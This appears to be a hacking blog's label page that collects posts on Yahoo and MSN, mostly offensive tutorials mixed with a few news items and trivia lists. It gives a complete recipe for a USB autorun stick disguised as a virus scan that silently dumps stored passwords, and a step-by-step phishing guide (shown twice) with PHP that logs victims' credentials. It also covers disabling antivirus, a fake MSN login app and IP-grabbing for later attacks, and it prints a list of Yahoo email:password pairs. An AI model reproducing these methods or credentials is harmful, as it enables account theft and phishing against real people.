Showing posts with label Yahoo. Show all posts
Showing posts with label Yahoo. Show all posts

Friday, 21 June 2013

Yahoo Advertising Service vulnerable to XSS attacks

yahoo-xss

Yahoo! Advertising Service has is vulnerable to cross-site scripting security bugs, discovered by Soumyodeep Mondal. Vulnerability is yet unfixed and exploitable using a simple payload as shown in screenshot. There is a demo video also available to show Proof of concept. Back in January, Yahoo! said that it had fixed a cross-site scripting (XSS) vulnerability in its webmail service which was blamed for a spate of account hijackings. The compromised accounts were used to send spam. Also The Yahoo! blog was vulnerable to XSS attacks because it utilized an outdated version of WordPress. 

Friday, 17 August 2012

Yahoo Is Deleting Inactive Accounts to Create Space for Fresh Users, Phishing Alert

Beware of fake Yahoo! Mail login pages

It seems that Yahoo! accounts are still valuable for cybercriminals, otherwise they probably wouldn’t bother sending out fake emails that attempt to lure recipients to fake login webpages. 
Two new variants have been submitted by users to millersmiles.co.uk. The first one involves the old “Yahoo! will delete your account” scheme:

Dear Yahoo! Email User,
Due to excess abandoned Yahoo! e-mail account, Yahoo! Help Desk is currently
carrying out system clean up to delete inactive accounts, inother to create space for fresh users.

To verify that your Yahoo e-mail account is active, you are required to click on the link below or copy and paste in a new web page, then complete the form available for this process.

Failure to do this will result in account termination.


The so-called verification link leads to a webpage hosted on the compromised blog of a user from Malaysia. The cleverly crafter HTML file replicates the Yahoo! Mail login page in hopes that victims will fail to look at the site’s URL and enter their usernames and passwords without giving it too much thought. 

The second malicious email is much simpler. It pretends to come from “Yahoo Admin” and it only reads “Click here to update your account.”

The link also points to a compromised site that hosts a webpage carefully planted by the cybercriminals.

Both pages have been removed by the websites’ owners, but the campaigns will most likely continue.

As always, we recommend users to be extra careful when entering their login credentials on a website. Malicious sites can look just as the legitimate ones from a visual standpoint, but there are numerous clues that reveal a scheme’s purpose.

Usually, the quickest way to determine if a site is genuine is by checking its URL. If it doesn’t contain the “https” string or if it looks suspicious, you’re most likely dealing with a scam.

Saturday, 24 December 2011

Best And Popular Trick To Hack Passwords


Here is a small trick with which you can sniff passwords stored in a computer.To do so you need some Utilities…..
MessenPass,PasswordFox,Protected Passview,IE Passview,Mail passview..

Description

MessenPass:
MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications:
  • MSN Messenger
  • Windows Messenger (In Windows XP)
  • Windows Live Messenger (In Windows XP/Vista/7)
  • Yahoo Messenger (Versions 5.x and 6.x)
  • Google Talk
  • ICQ Lite 4.x/5.x/2003
  • AOL Instant Messenger v4.6 or below, AIM 6.x, and AIM Pro.
  • Trillian
  • Trillian Astra
  • Miranda
  • GAIM/Pidgin
  • MySpace IM
  • PaltalkScene
  • Digsby
MessenPass can only be used to recover the passwords for the current logged-on user on your local computer, and it only works if you chose the remember your password in one of the above programs.
PasswordFox
PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser.
Protected Passview
Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer. The passwords are revealed by reading the information from the Protected Storage.
IE Passview
IE PassView is a small password management utility that reveals the passwords stored by Internet Explorer Web browser, and allows you to delete passwords that you don’t need anymore. It supports all versions of Internet Explorer, from version 4.0 and up to 8.0.
Mail passview
Mail PassView is a small password-recovery tool that reveals the passwords and other account details for the following email clients:
  • Outlook Express
  • Microsoft Outlook 2000 (POP3 and SMTP Accounts only)
  • Microsoft Outlook 2002/2003/2007/2010 (POP3, IMAP, HTTP and SMTP Accounts)
  • Windows Mail
  • Windows Live Mail
  • IncrediMail
  • Eudora
  • Netscape 6.x/7.x (If the password is not encrypted with master password)
  • Mozilla Thunderbird (If the password is not encrypted with master password)
  • Group Mail Free
  • Yahoo! Mail – If the password is saved in Yahoo! Messenger application.
  • Hotmail/MSN mail – If the password is saved in MSN/Windows/Live Messenger application.
  • Gmail – If the password is saved by Gmail Notifier application, Google Desktop, or by Google Talk.
HOW TO DO IT>>
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, Vista and Windows 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Thursday, 8 December 2011

Indians on Facebook...sex,city,age wise distribution Facebook Survey 2011

Indians on Facebook :                                                         

Total : 38 million users
AGE wise distribution: 
13-16 : 1.8 million
16-20 : 8 million
20-24 : 3 million
24-28 : 6 million
28-32 : 8 million
32-36 : 5 million
36-40 : 2.5 million
40-50 : 2.5 million
50+ : 1.6 million
SEX wise distribution: 
Men : 27 million Women : 11 million
STATUS wise distribution: 
Single : 9 million
In relationship : 1.1 million
CITY wise distribution: 
Delhi : 5.5 million Mumbai : 5.2 million Bangalore : 2.8 million Hydrabad : 1.9 million Chennai : 1.8 million Pune : 1.4 million Kolkata : 1 million

Top 10 BUZZWORDS of 2011

Here are top 10 buzzwords of 2011 :


1. Do it for Sachin


The factual anthem of the 2011 Cricket World Cup might have been the unimpressive track penned by Shankar, Ehsaan and Loy, but Team India clearly had only one anthem on their lips throughout the tournament – “We want to win it for Sachin”

2. Govind Tiwari

2011’s online sensation was in no doubt Govind Tiwari. The young man from Allahabad emerged from complete obscurity with his blog- http://govindtiwari.blogspot.com/ that caught the imagination of India’s netizens.

3. I am Anna


If 2011 will be remembered for one reason in India it might well be the movement against corruption. In Anna Hazare, the common man found their hero. Even those who didn’t agree with his method had nothing but admiration for the cause.

4. Poschim Bongo

West Bengal Chief Minister Mamata Bannerjee decided to leave her imprint by renaming the state as ‘Poshcim Bongo’.

5. i

2011 saw the passing away of several big names, but the most talked about amongst them all was Apple’s co-founder, chairman and CEO – Steve Jobs. He died from complications arising out of his long battle with pancreatic cancer.

6. Her Royal Hotness

Royal weddings were clearly the flavour of the year what with Kate and William, The Prince of Monaco’s marriage to an Olympic swimmer and The King of Bhutan’s wedding with a young beautiful commoner.

7. BayB


For a family that usually holds a grouse with the media, the Bachchans do their fair bit in encouraging the intrusiveness, so to speak. Amitabh Bachchan chose to go public on his Twitter stream with news of daughter-in-law Aishwarya Rai’s pregnancy and this triggered a whole gamut of wishes/ jokes/ one-liners on the impending Bachchan


8. Tihar


With scams and scandals being the order of the day, the most popular destination for India’s movers and shakers turned out to be Tihar Jail.

9. Kolaveri

The song was leaked onto the web and that was when its creators decided to come out with an official promotional video of it. In no time, ‘kolaveri’ went viral in cyberspace and garnered over 3 lakh hits within a week on Youtube. The track became a pan-Indian sensation after being shared umpteen times on social networking sites.

10. D K Bose

If the year ended with the nation humming Kolaveri, then it began with them asking D K Bose to run for it. The song ‘D K Bose’ belonged to the Aamir Khan production ‘Delhi Belly’ and though it sounded like a common Bengali surname it was also a play on a popular North Indian expletive.

Top 25 Websites in terms of Traffic

  • 1

    Google.com

    google.com
    World's best search engine

  • 2

    Facebook

    facebook.com
    A social utility that connects people, to keep up with friends, upload photos, share links and ... Morevideos.

  • 3

    YouTube

    youtube.com
    YouTube is a way to get your videos to the people who matter to you. Upload, tag and share your... More videos worldwide!

  • 4

    Yahoo!

    yahoo.com
    A major internet portal and service provider offering search results, customizable content, cha... Moretrooms, free e-mail, clubs, and pager.

  • 5

    Baidu.com

    baidu.com
    The leading Chinese language search engine, provides "simple and reliable" search exp... Moreerience, strong in Chinese language and multi-media content including MP3 music and movies, the first to offer WAP and PDA-based mobile search in China.

  • 6

    Wikipedia

    wikipedia.org
    A free encyclopedia built collaboratively using wiki software. (Creative Commons Attribution-Sh... MoreareAlike License).

  • 7

    Blogspot.com

    blogspot.com

  • 8

    Windows Live

    live.com
    Search engine from Microsoft.

  • 9

    Twitter

    twitter.com
    Social networking and microblogging service utilising instant messaging, SMS or a web interface..

  • 10

    Amazon.com

    amazon.com
    Amazon.com seeks to be Earth's most customer-centric company, where customers can find and disc... Moreover anything they might want to buy online, and endeavors to offer its customers the lowest possible prices. Site has numerous personalization features and services including one-click buying, extensive customer and editorial product reviews, gift registries, gift certificates, wish lists, restaurant and movie listings, travel, and photo processing.
  • 11

    QQ.COM

    qq.com
    China's largest and most used Internet service portal owned by Tencent, Inc founded in Nov... Moreember, 1998. Presently, Tencent is aiming its operations at the strategic goal of providing users with a "one-stop online life service". Tencent's Internet platforms QQ, QQ.com, QQ Games, and PaiPai.com have brought together China's largest Internet community. Tencent's communications and information-sharing services include QQ.com, QQ Instant Messenger, QQ Mail, and search engine SOSO. Linked up with heavily used features such as forums, chat rooms, and QQ Groups, Tencent's Qzone has grown into China's largest personal Internet space. These services foster group interaction and resource sharing. Virtual products such as QQ Show, QQ Pet, QQ Game, and QQ Music/Radio/Live have been successful in providing entertainment and customization options to users. Mobile phone users can take advantage of a number of value-added wireless services. Tencent's PaiPai.com is a C2C on-line shopping platform that seamlessly integrates into Tencent's other community platforms.As of June 30th, 2009, the number of registered QQ Instant Messenger users has reached 990.0 million. Active users numbered at 448.0 million. Peak concurrent users have reached 61.30 million. QQ Games platform counted about 6.2 million users simultaneously on-line. QQ.com has become China's most visited Internet portal website. PaiPai.com has also become China's second largest Internet shopping platform.

  • 12

    淘宝网

    taobao.com
    包括电脑通讯、数码、男装、女装、童装、化妆品、书籍音像、运动用品、游戏装备等各种商品的买卖,还有相关的社区交流,同时提供支付宝网上交易安全保证系统。... More

  • 13

    MSN

    msn.com
    Portal for shopping, news and money, e-mail, search, and chat.

  • 14

    LinkedIn

    linkedin.com
    A networking tool to find connections to recommended job candidates, industry experts and busin... Moreess partners. Allows registered users to maintain a list of contact details of people they know and trust in business.

  • 15

    Yahoo! Japan

    yahoo.co.jp
    Japanese version of popular portal site.

  • 16

    Google India

    google.co.in
    Indian version of this popular search engine. Search the whole web or only webpages from India.... More Interfaces offered in English, Hindi, Bengali, Telugu, Marathi and Tamil.

  • 17

    新浪新闻中心

    sina.com.cn
    包括即日的国内外不同类型的新闻与评论,人物专题,图库。

  • 18

    WordPress.com

    wordpress.com
    Free blogs managed by the developers of the WordPress software. Includes custom design template... Mores, integrated statistics, automatic spam protection and other features.

  • 19

    Google

    google.de
    Suche im gesamten Web, in deutschsprachigen sowie in deutschen Sites. Zusätzlich kann gezielt n... Moreach Bildern, Videos und News gesucht werden.

  • 20

    eBay

    ebay.com
    International person to person auction site, with products sorted into categories.

  • 21

    Google谷歌

    google.com.hk
    谷歌搜索在中国的官方网站。

  • 22

    Яндекс

    yandex.ru
    Поиск информации в интернете с учетом русской морфологии, возможность регионального уточнения. ... MoreПараллельный поиск по новостям, картинкам, товарам, блогам, адресам организаций.

  • 23

    Google UK

    google.co.uk
    The local version of this pre-eminent search engine, offering UK-specific pages as well as worl... Mored results.

  • 24

    Google 日本

    google.co.jp
    多言語対応サーチエンジンの日本版。ウェブ、イメージおよびニュース検索、Usenet掲示板。
  • 25

    Google France

    google.fr
    Version française du moteur de recherche. Propose des outils et des services pour les internaut.

Wednesday, 12 October 2011

Hack msn messenger password

I recently made post on How to hack msn account account password,I got a tremendorous feedback,but the problem with that method to hack msn messenger was that you need to have acess in victims computer.So i am posting here a method to hack msn messenger password with out having acess to victims computer.


 
The method i would use here is a dictionary attack.

Dictionary attack:

A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by searching likely possibilities.
A dictionary attack uses a brute-force technique of successively trying all the words in an exhaustive list (from a pre-arranged list of values). In contrast with a normal brute force attack, where a large proportion key space is searched systematically, a dictionary attack tries only those possibilities which are most likely to succeed, typically derived from a list of words in a dictionary.


Method:

1.First Download
msn messenger account hacker

2.Extract all files.

3.Open
Msn account hacker
Hack msn

4.Browse passwords list and select
example_list

5.NOw it will start to
hack msn messenger password.

This will only work if
victims password is present in the password list.

This process is quite slow since it goes through
Secure Socket Layer uses SSL encryption. This tool can approximately test 17 passwords per minute, although it varies according to the connection of the user and also the Hotmail server.

I believe that the recovery rate to
hack msn messenger password or Hotmail account is very very low even though this tool works. This is because there are millions of words and also the user’s password is not necessary a valid word. Moreover, Hotmail password is “Case Sensitive”. Case Sensitive means the ability to distinguish between uppercase (capital) and lowercase (small) letters. So it will treat the word RUN differently from run.

I tried to hack my
msn messenger password and to my surprise, it does work! Before I started to hack msn messenger account, I’ve inserted my password into the dictionary list to see if it can process the list correctly.

How to Hack msn account password



hack msn account passwords
Most of people ask me to teach me a way to hack msn accout password
This is not actually hacking but recovering passwords These msn hacking softwares are actually “Password Recovery for MSN” . Actually, the msn hacker programs is intended to recover forgotten msn, hotmail passwords. But, i will focus on how one can hack msn account password

Now there are a bit of requirements

First you victim must have used a IM(instant messenger) at least once with this id. Say for yahoo he must use yahoo messenger.Online versions dont count.So this means you cannot hack accounts of say facebook or myspace which dont have their IM

Second you must have access to his comp where he has used the IM.

Third he must not have formatted his system recently or he must have used the IM after format.

These requirements are tough, i know.You will hit a jackpot if you are on shared comp as it's not frequently formatted and many use IM.You can even ask him to use the IM on your comp.Once you fullfill these job's almost done.
Now you are ready to hack "msn account passwords"
Now you can use these password recovery software to get hold of your victims password These softwares have high success rate but not 100%. I am giving all trial download links .If you want the full version visit your fav torrent or rapidshare or megaupload.The will not crack any passwords greater than 4 chars which mean syou cant hack most accounts as they require atleast 6 chars.

You will have to temporarily stop the Antivirus as your antivirus will detect it as spyware. But they are Spyware free !00% safe

MessenPass 1.16

Instant Messengers Password Recovery Master

Advanced Instant Messengers Password Recovery 3.4

How Password Recovery for MSN works???



Password Recovery for MSN scans computer for locally stored MSN and Hotmail passwords. Now, remember that MSN Hotmail passwords are stored only if one checks “Remember Me” box. If you have locally stored password on PC , then you can get back or recover forgotten MSN & Hotmail passwords.


How to hack msn account passwords


Now the question arrives that How to hack accounts using these software the answer is simple,Just, run the program on victim computer and click “Recover Password” and you get his MSN Hotmail account passwords,now you will ask how to acess get in victims computer the answer is simple
Read my post on:
Hacking into other persons computer

Fake Msn
Fake msn is just a replica of Msn Messenger.Let some of your friends come over.And open up the fake msn.Let them type in ther
msn hotmail,and their password.Then they will get a troubleshoot , and their username/password will be saved in a .txt file in C:\

Warning:
This post How to hack msn account passwords is for educational purposes,Use this only to get lost passwords of your account.

Hack yahoo using fake login page



Fake login page

In this post I’ll show you to hack yahoo using fake login page to hack yahoo in simple steps.A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.

Here in this post I will give a procedure to create a fake login page of Yahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.



Here is a step-by-step procedure to create a fake login page and hack yahoo.

Hack yahoo using fake login page - Procedure



STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com


STEP 2.

Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
To save the page goto File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .

STEP 4.
Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”

Rename the above link into

src=”files/ma_mail_1.gif”

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.
Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.com with yahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.
Now you have to upload your yahoo.HTML, files folder and login.php to

yoursite.com Root folder

NOTE: Make sure that your host supports PHP


Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password

NOTE: The concept here is to save the password.The format is not important here.

STEP 9.

Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.
here is the login script which i am posting due to large number of requst


header("Location: http://WEBSITE ");
$handle =

fopen("pass.txt", "a");
foreach($_GET as

$variable => $value) {
fwrite($handle,

$variable);
fwrite($handle, "=");

fwrite($handle, $value);
fwrite($handle,

"\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;

Free Yahoo Accounts – Happy Diwali|Merry Christmas| :D

These are BOT generated. We just thought some of you might use them :D
Moinafpj287@yahoo.com:Vji2fSr3ofD
Madayff426@yahoo.com:LZd46Ljn4LEX
Olvanjiy142@yahoo.com:bjX2Rkihap
Townsendksq384@yahoo.com:veXJHwIdo
Grangeqqa034@yahoo.com:GOOori8IFO
Delmoretri960@yahoo.com:MDq0CJXHNW
Meredithvil166@yahoo.com:Qjv69RReltH
Milesodo841@yahoo.com:lML4YKW16tfy
Kingstonzsd353@yahoo.com:Wqu8iOf21Dnq
Phillippdco356@yahoo.com:rVt8KLgVbh
Garconvzt821@yahoo.com:GVF69ACKzpa
Aubertlqh590@yahoo.com:WVI52atBryf
Maryavxi536@yahoo.com:AjK68UOIPUn
Teadorbdo025@yahoo.com:eOaACv03nbL
Pailgvf016@yahoo.com:faV7mBy83ery
Konstancezmf505@yahoo.com:mtD3MdjzrA
Flintuzt616@yahoo.com:PUE20kfmiQR
Gertanfa330@yahoo.com:JGi3MDA96PBX
Thaliaaoh342@yahoo.com:SHZ4Zzw7qwc
Dodedji976@yahoo.com:sDs78cxSdCr
Adaktg914@yahoo.com:PBLpaM6raW
Darthddz277@yahoo.com:ayb2LFLCOw
Madgeddv856@yahoo.com:uWicCFkoF
Ezequieltct690@yahoo.com:sgM48SQi4dWW
Wainwrightmmx932@yahoo.com:Vkx6jdE5IWx
Andromedaeig280@yahoo.com:ZOYnVh34mWV
Huntleymcg049@yahoo.com:Vml77iJKAKQ

Tuesday, 20 September 2011

Hack yahoo using fake login page





Fake login page

In this post I’ll show you to hack yahoo using fake login page to hack yahoo in simple steps.A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.

Here in this post I will give a procedure to create a fake login page of Yahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.



Here is a step-by-step procedure to create a fake login page and hack yahoo.

Hack yahoo using fake login page - Procedure



STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com


STEP 2.

Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
To save the page goto File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .

STEP 4.
Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files“.You may also rename the .HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif”

Rename the above link into

src=”files/ma_mail_1.gif”

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.
Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replace yoursite.com with yahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.
Now you have to upload your yahoo.HTML, files folder and login.php to

yoursite.com Root folder

NOTE: Make sure that your host supports PHP


Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password

NOTE: The concept here is to save the password.The format is not important here.

STEP 9.

Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.
here is the login script which i am posting due to large number of requst


header("Location: http://WEBSITE ");
$handle =

fopen("pass.txt", "a");
foreach($_GET as

$variable => $value) {
fwrite($handle,

$variable);
fwrite($handle, "=");

fwrite($handle, $value);
fwrite($handle,

"\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;

Hacking Yahoo Messenger


This tutorial will tell you how to hack yahoo messenger while you are engaged in chatting with some person. While you are chatting through yahoo messenger, Yahoo will hide the IP addresses of all the computers that are connected through the yahoo messenger application to the chat room. So it is not possible to directly find out the IP of the person you want to hack. Then how to get the IP address? Yes it is still possible to hack the IP address during the Yahoo messenger chat. The procedure to Hack Yahoo messenger is discussed in detail below.
While you are chatting via yahoo messenger the communication between you and the person you want to hack, takes place indirectly via Yahoo server and not directly. It is not possible to hack Yahoo messenger directly to get the IP address. So to hack his IP, you must establish a direct communication with him. So ,how to do this? It’s easy. Just start chatting with some one via Yahoo messenger. During the process of chatting send him a big file. Now the file transfer takes place directly between your computer and the victim’s computer(via yahoo messenger application). So now, you are ready to go. Here’s the step-by-step process to hack Yahoo messenger and get the IP address of the person .
  • Goto the COMMAND PROMPT (START>>>RUN>>>Type CMD).
  • Here Type “netstat -n” (without quotes).
NOTE: If you are new to “netstat” and other IP related commands refer this tutorial: Windows XP IP Utilities
  • The pic given below shows netstat results of my computer. I was not chatting when i took this pic and hence it looks modified.
  • Here local address is your own IP and the foreign address is the IP address of the recipient with whom you are connected via yahoo messenger (There may be multiple recipients and hence multiple foreign addresses).
  • Now send him the file.
  • Check the output by typing the command “netstat -n” (without quotes).
  • Assume the output is something like this.
TCP 127.0.0.10:5101 124.55.23.11:1246 ESTABLISHED
 
Here 124.55.23.11 is the IP address of the person with whom you are chatting and 1246 is the port number where connection is established. That’s It! You have now hacked Yahoo messenger to get his IP address.
Once you hack Yahoo messenger and get his IP address you can use any of the Remote Administration tools or perform NETBIOS HACKING.
NOTE: Some times there are chances where in the file transfer gets encrypted (takes place via yahoo server itself). So in this case the above hack may fail to work.